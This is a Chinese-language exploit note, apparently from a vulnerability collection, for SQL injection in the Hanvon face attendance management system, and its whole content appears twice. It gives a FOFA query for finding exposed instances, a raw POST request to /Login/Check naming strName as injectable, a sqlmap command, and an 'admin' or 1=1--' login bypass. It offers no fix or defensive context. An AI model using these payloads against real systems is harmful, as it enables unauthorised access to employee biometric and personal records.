漢王人臉考勤管理系統_Check_SQL注入漏洞

# 漢王人臉考勤管理系統 Check SQL注入漏洞
==FOFA==

title=""汉王人脸考勤管理系统""

==漏洞利用==

請求包如下:

POST /Login/Check HTTP/1.1
Host: x.x.x.x
Content-Length: 27
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://x.x.x.x:8088
Referer: http://x.x.x.x:8088/Login/Index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASP.NET_SessionId=otvxgfy0csmrw4i5y5t24oo1
Connection: close

strName=admin&strPwd=123456

其中strName參數存在註入

sqlmap -r postwang.txt -p strName  --current-user

==萬能密碼繞過登錄==

user: admin' or 1=1--
pass: admin

==FOFA==

title="汉王人脸考勤管理系统"

==漏洞利用==

請求包如下:

POST /Login/Check HTTP/1.1
Host: x.x.x.x
Content-Length: 27
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://x.x.x.x:8088
Referer: http://x.x.x.x:8088/Login/Index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASP.NET_SessionId=otvxgfy0csmrw4i5y5t24oo1
Connection: close

strName=admin&strPwd=123456

其中strName參數存在註入

sqlmap -r postwang.txt -p strName  --current-user

==萬能密碼繞過登錄==

user: admin' or 1=1--
pass: admin